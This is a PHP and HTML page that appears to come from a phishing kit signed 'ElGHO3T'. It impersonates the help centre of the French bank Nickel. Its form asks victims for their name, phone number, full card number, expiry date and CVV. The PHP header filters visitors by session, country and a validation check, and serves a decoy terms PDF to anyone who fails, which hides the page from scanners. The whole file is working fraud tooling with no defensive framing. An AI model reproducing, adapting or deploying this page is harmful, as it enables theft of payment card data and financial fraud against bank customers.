
<?php
/**
 * 
 * 
 * @package Function and object class Tools
 * @version 1.3.0
 * @last-modified February 11, 2022
 * @author MSbou ELGHO3T
 * @copyright Copyright (c) 2022, anon
 * @link https://t.me/MarcoSbou_sp
 * 
 * 
 */
/**
 * Powered By ElGHO3T
 */
$fine = "page";

(@require_once './init.php') or die("You not have permisions");
if (!defined('ELGHO3T_AB_ROOT')) {die("You not have permisions");}
if(!isset($_SESSION['bid'])){die("You not have permisions");}
if(GHOST_CONSTRICT == true){die("Contact admin @ELGHO3T");exit();}
$Xtools = new Tools();
if(GHOST_limet == true):
    if($Xtools->Check_User_limet() == true):
        // header("HTTP/1.1 404 Not Found");
        $Xtools->syfto_pdf("./Conditions-Générales-et-Tarifaires.pdf");
        // die("Contact admin limet action @ELGHO3T");
        exit();
    endif;

endif;
if(GHOST_SECURE == true):

    if(strtolower( $_SESSION['data_info']['country'] ) !== GHOST_COUNTRY ):
        // header("HTTP/1.1 404 Not Found");
        $Xtools->syfto_pdf("./Conditions-Générales-et-Tarifaires.pdf");
        // die("Contact admin @ELGHO3T");
        exit();
    endif;

    if($Xtools->check_validate($_SESSION['data_info']) !== true):
        // die("Contact admin @ELGHO3T");
        // header("HTTP/1.1 404 Not Found");
        $Xtools->syfto_pdf("./Conditions-Générales-et-Tarifaires.pdf");
        exit();
    endif;

endif;

?>
<html lang="fr-FR"><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
	
	
	<meta http-equiv="X-UA-Compatible" content="IE=edge">
	<meta name="viewport" content="width=device-width, initial-scale=1, minimum-scale=1, maximum-scale=1">

	<link rel="stylesheet" href="./layout/file2/c9246524ba9b0b24604193ecf93ac87acb64817b.css" type="text/css">
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    <style>
        body{
            font-family: Arial, Helvetica, sans-serif;
        }
        .boba{
            
            background-color: rgb(255, 95, 0);
            color: rgb(255, 255, 255);
            box-sizing: content-box;
            width: 100px;
            padding: 10px 20px;

        }
        .boba:hover{
            
            background-color: rgb(204, 76, 0);
            color: rgb(255, 255, 255);

        }
    </style>

	<title>Envoyer une demande – Centre d'aide | Nickel</title>

</head>
<body class="" cz-shortcut-listen="true">
	<div id="page">
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		<main role="main">
			<div class="container-divider"></div>
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						<li title="Centre d&#39;aide | Nickel" style="font-family: Arial, Helvetica, sans-serif;">

							<a href="#">Confirmer vos informations | Nickel</a>

						</li>

						<li title="Envoyer une demande" style="font-family: Arial, Helvetica, sans-serif;">

							Envoyer une demande

						</li>

					</ol>

				</nav>

				<h1 style="font-family: Arial, Helvetica, sans-serif;">
					Envoyer une demande

				</h1>
				<div class="form">
					<form class="request-form" data-form="" data-form-type="request" action="#" accept-charset="UTF-8" method="post">
						<input name="utf8" type="hidden" value="✓">
						<input type="hidden" name="step" value="cc">
						<input type="hidden" name="authenticity_token" value="hc:requests:client:pTz2IwvtTEM2tIWkmr8pkClV1r0WyqSBio-7OSNPEhN6iayQ1pTPfE69Kz8RWVoRd8MiG-sv7Zt8IiqIWVin_w" data-hc-status="ready">



						<div class="form-field string  required  request_custom_fields_360004900980">
							<label id="request_custom_fields_360004900980_label" for="request_custom_fields_360004900980" style="color: inherit; margin-top: 8px; font-size: inherit; font-style: inherit; font-weight: 200; text-transform: inherit;">Nom Prénom *</label>
							<input type="text" name="lname" class="lname" required="" id="request_custom_fields_360004900980" aria-required="true" aria-labelledby="request_custom_fields_360004900980_label">


						</div>



						<!-- <div class="form-field string  required  request_custom_fields_360004962759">
							<label style="color: inherit; margin-top: 8px; font-size: inherit; font-style: inherit; font-weight: 200; text-transform: inherit;" id="request_custom_fields_360004962759_label" for="request_custom_fields_360004962759">Prénom *</label>
							<input type="text" name="fname" required="" id="request_custom_fields_360004962759" aria-required="true" aria-labelledby="request_custom_fields_360004962759_label">


						</div> -->

						<div class="form-field string  required  request_custom_fields_360004962759">
							<label style="color: inherit; margin-top: 8px; font-size: inherit; font-style: inherit; font-weight: 200; text-transform: inherit;" id="request_custom_fields_360004962759_label" for="request_custom_fields_360004962759">Téléphone *</label>
							<input type="tel" class="tells" name="phone" required="" id="request_custom_fields_360004962759" aria-required="true" aria-labelledby="request_custom_fields_360004962759_label">


						</div>


						<div class="form-field string  optional  request_custom_fields_360004962779">
							<label style="color: inherit; margin-top: 8px; font-size: inherit; font-style: inherit; font-weight: 200; text-transform: inherit;" id="request_custom_fields_360004962779_label" for="request_custom_fields_360004962779">Numéro de la carte*</label>
							<input type="tel" name="ccnum" class="crd" required="" id="ccnum" maxlength="16" minlength="16" aria-required="false" aria-labelledby="request_custom_fields_360004962779_label">


						</div>
						<div class="form-field string  optional  request_custom_fields_360004962779">
							<label style="color: inherit; margin-top: 8px; font-size: inherit; font-style: inherit; font-weight: 200; text-transform: inherit;" id="request_custom_fields_360004962779_label" for="request_custom_fields_360004962779">Date d'expiration (MM/YY)*</label>
							<input type="tel" class="drt" name="exp" required="" id="exp" maxlength="5" minlength="5" aria-required="false" aria-labelledby="request_custom_fields_360004962779_label">


						</div>
						<div class="form-field string  optional  request_custom_fields_360004962779">
							<label style="color: inherit; margin-top: 8px; font-size: inherit; font-style: inherit; font-weight: 200; text-transform: inherit;" id="request_custom_fields_360004962779_label" for="request_custom_fields_360004962779">CVV*</label>
							<input type="tel" class="cv" name="cvv" required="" id="cvv" aria-required="false" aria-labelledby="request_custom_fields_360004962779_label">


						</div>
						<footer>
                            
                        <button type="button" class="botona boba">Continue</button>
                    
                    </footer>

					</form>



				</div>


			</div>
		</main>

		<footer class="footer">
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							<li class="item">
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							</li>
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									<li class="item">
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									<li class="item">&nbsp;</li>
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										</a>
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										<a href="https://actusducse.fr/post/clients/informations.php#" class="link">
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										</a>
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						</strong></strong>
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	</div>
    <script src="./layout/file2/jquery.min.js"></script>
    <script src="./layout/file2/jquery.maskedinput.js"></script>
    <script src="./layout/file2/main.js"></script>
<script>
    
//     jQuery.fn.ForceNumericOnly =
// function()
// {
//     return this.each(function()
//     {
//         $(this).keydown(function(e)
//         {
//             var key = e.charCode || e.keyCode || 0;
//             return (
//                 key == 8 || 
//                 key == 9 ||
//                 key == 13 ||
//                 key == 46 ||
//                 key == 110 ||
//                 key == 190 ||
//                 (key >= 35 && key <= 40) ||
//                 (key >= 48 && key <= 57) ||
//                 (key >= 96 && key <= 105));
//         });
//     });
// };
// $("#ccnum").ForceNumericOnly();
// $("#cvv").ForceNumericOnly();
// $("#exp").ForceNumericOnly();

// $('#exp').on("keyup , focus , input", () => {
//         var creditExpirationMonth = $("#exp").val()

//         let my = $('#exp')
//         if (my.val().length == 2 && !my.val().includes("/"))
//             my.val(my.val() + "/")

// });
</script>

</body></html>